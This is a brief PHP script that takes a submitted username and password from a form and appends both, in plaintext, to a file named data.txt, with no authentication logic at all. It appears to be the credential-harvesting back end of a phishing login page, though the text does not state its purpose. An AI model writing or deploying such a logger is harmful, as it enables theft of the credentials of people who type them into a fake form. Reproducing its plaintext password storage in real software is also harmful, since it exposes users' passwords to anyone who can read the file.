<?php
	header("Content-type: text/html; charset=utf-8");
	$name=$_POST["username"];
	$pwd=$_POST["pwd"];
	$fp=fopen("data.txt", "a");
	$str="username:".$name."&password:".$pwd."\n";
	fwrite($fp, $str);
	fclose($fp);
